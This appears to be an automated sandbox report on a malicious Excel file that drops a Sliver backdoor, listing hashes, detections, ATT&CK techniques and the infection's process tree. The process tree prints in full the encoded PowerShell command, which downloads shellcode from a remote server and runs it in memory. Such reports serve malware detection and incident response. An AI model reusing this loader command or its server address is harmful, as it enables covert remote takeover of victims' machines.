sliver | 805984664b76d75b083fa4561dbf0f492cd19515fc9c40f1c9fdb65c9e7911a3

General

Target

805984664b76d75b083fa4561dbf0f492cd19515fc9c40f1c9fdb65c9e7911a3.xls
Size

46KB
MD5

236f5c306176468cac13411c07e29726
SHA1

181a335912f689337a35685a728993199512c37a
SHA256

805984664b76d75b083fa4561dbf0f492cd19515fc9c40f1c9fdb65c9e7911a3
SHA512

c8f3c023c3a2d8ed8d438aab86b9ca01ab1538fb264c8fea382ecb462b05870d0a4bbda730be86cf2ec33d61450221f4fb0fb660c164b2370c02acfc132d4cd1
SSDEEP

768:G4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:1SFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score

10^/10

sliver backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1600	3664	powershell.exe	82

Sliver RAT v2 6 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1600-63-0x000002747AC90000-0x000002747B70E000-memory.dmp	SliverRAT_v2
behavioral2/memory/1600-64-0x000002747C190000-0x000002747CC76000-memory.dmp	SliverRAT_v2
behavioral2/memory/1600-66-0x000002747C190000-0x000002747CC76000-memory.dmp	SliverRAT_v2
behavioral2/memory/1600-65-0x000002747C190000-0x000002747CC76000-memory.dmp	SliverRAT_v2
behavioral2/memory/1600-67-0x000002747C190000-0x000002747CC76000-memory.dmp	SliverRAT_v2
behavioral2/memory/1600-75-0x000002747C190000-0x000002747CC76000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 27 IoCs

Processes:

powershell.exe

flow	pid	Process
24	1600	powershell.exe
26	1600	powershell.exe
31	1600	powershell.exe
33	1600	powershell.exe
36	1600	powershell.exe
37	1600	powershell.exe
41	1600	powershell.exe
42	1600	powershell.exe
43	1600	powershell.exe
44	1600	powershell.exe
45	1600	powershell.exe
46	1600	powershell.exe
47	1600	powershell.exe
53	1600	powershell.exe
61	1600	powershell.exe
62	1600	powershell.exe
63	1600	powershell.exe
64	1600	powershell.exe
65	1600	powershell.exe
66	1600	powershell.exe
67	1600	powershell.exe
68	1600	powershell.exe
69	1600	powershell.exe
70	1600	powershell.exe
71	1600	powershell.exe
72	1600	powershell.exe
73	1600	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
1600	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3664	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1600	powershell.exe
1600	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE
3664	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEpowershell.execsc.exe

description	pid	Process	procid_target
PID 3664 wrote to memory of 1600	3664	EXCEL.EXE	87
PID 3664 wrote to memory of 1600	3664	EXCEL.EXE	87
PID 1600 wrote to memory of 1356	1600	powershell.exe	90
PID 1600 wrote to memory of 1356	1600	powershell.exe	90
PID 1356 wrote to memory of 1940	1356	csc.exe	91
PID 1356 wrote to memory of 1940	1356	csc.exe	91

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\805984664b76d75b083fa4561dbf0f492cd19515fc9c40f1c9fdb65c9e7911a3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rbqy3pxx\rbqy3pxx.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1356
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85AB.tmp" "c:\Users\Admin\AppData\Local\Temp\rbqy3pxx\CSC990E750EC194422EB969F9DBCF7455F.TMP"
      4⤵
      PID:1940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES85AB.tmp

Filesize
1KB

MD5
829e5653fe663558760c7c71d6ceff75

SHA1
5fb2b8459032113ab6e694d8c5bd2d69463ae0cd

SHA256
1d4008586fe0daff59ecec7ea2ea212ed36441e29af6186413c75af2d7b369fc

SHA512
c9482ef08ddc2b1c25e8631f4ff0a48a85bee9e9fa151da10fa1850f1873bc0bec25d4770592927c9a0232801f38f8062d6b419857e42d49c2cf74987eaf9701

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gq2yat0.fzz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rbqy3pxx\rbqy3pxx.dll

Filesize
3KB

MD5
ff6e871733b3bc0206f71fb4288bd870

SHA1
97ca4078f6283fca7ce2472c913f380ea17f575d

SHA256
78e262d59eb6bcc0054971a177d22cb5c92327aa321aac86c667ae38b761c138

SHA512
b33de9f750c22d8f3b2f969ec018e4d5bd8eaeef970fefd93752faf33bff7217c0cf55b4c1d7a5ad8be81689f15c483e286c5d5990bc57c5b5cbf33c8390079b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rbqy3pxx\CSC990E750EC194422EB969F9DBCF7455F.TMP

Filesize
652B

MD5
5f6244668a7705d6e1ce327a93437bf9

SHA1
96d4efe14eead5e5533d9a1fd04f2a7c6de6881c

SHA256
ea6870be128a907ed83196f44ca60fae9c3afeec8453cf9800abd6a23d913b0a

SHA512
4c39e4e585ae5383bc35bee057bd728cc0cf5121d8de9007f9e3f78da7de38d036842fa8c5275d541221caa516887afd15b7ca9705088fc2d971d66ccd556b18

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rbqy3pxx\rbqy3pxx.0.cs

Filesize
631B

MD5
f4dd5c682eb7b3b679f084261bfc7c4c

SHA1
70f75d7a4e42c185eb09139ed3c6f7338a2219c2

SHA256
2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

SHA512
8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rbqy3pxx\rbqy3pxx.cmdline

Filesize
369B

MD5
eb4faf0b4a2cb7f3a320657df007c087

SHA1
cc702ee2d41170ae36a0821c579504fe41952d22

SHA256
a9273e30f9a8bca7acf9674f3be0e8af5f480c5eb17e0e7ee594a778eef666eb

SHA512
24902ccc82ff13a3ff6cb985685987f74db828d60f7e2204d87a889baa0ecee652fb858f7a31cbf331e40f96fae4af2b86bb39b4dac5bfe895ed5bc816b605b8

Download Submit
memory/1600-65-0x000002747C190000-0x000002747CC76000-memory.dmp

Filesize
10.9MB

Download
memory/1600-57-0x000002747A0D0000-0x000002747A0D8000-memory.dmp

Filesize
32KB

Download
memory/1600-63-0x000002747AC90000-0x000002747B70E000-memory.dmp

Filesize
10.5MB

Download
memory/1600-64-0x000002747C190000-0x000002747CC76000-memory.dmp

Filesize
10.9MB

Download
memory/1600-66-0x000002747C190000-0x000002747CC76000-memory.dmp

Filesize
10.9MB

Download
memory/1600-67-0x000002747C190000-0x000002747CC76000-memory.dmp

Filesize
10.9MB

Download
memory/1600-75-0x000002747C190000-0x000002747CC76000-memory.dmp

Filesize
10.9MB

Download
memory/1600-44-0x000002747A0E0000-0x000002747A102000-memory.dmp

Filesize
136KB

Download
memory/3664-28-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-10-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-19-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-17-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-16-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-15-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-3-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/3664-29-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-14-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-13-0x00007FFD1C0E0000-0x00007FFD1C0F0000-memory.dmp

Filesize
64KB

Download
memory/3664-6-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-7-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-12-0x00007FFD1C0E0000-0x00007FFD1C0F0000-memory.dmp

Filesize
64KB

Download
memory/3664-18-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-11-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-8-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-61-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-62-0x00007FFD5E3CD000-0x00007FFD5E3CE000-memory.dmp

Filesize
4KB

Download
memory/3664-9-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-5-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/3664-4-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/3664-0-0x00007FFD5E3CD000-0x00007FFD5E3CE000-memory.dmp

Filesize
4KB

Download
memory/3664-1-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/3664-71-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-72-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/3664-2-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads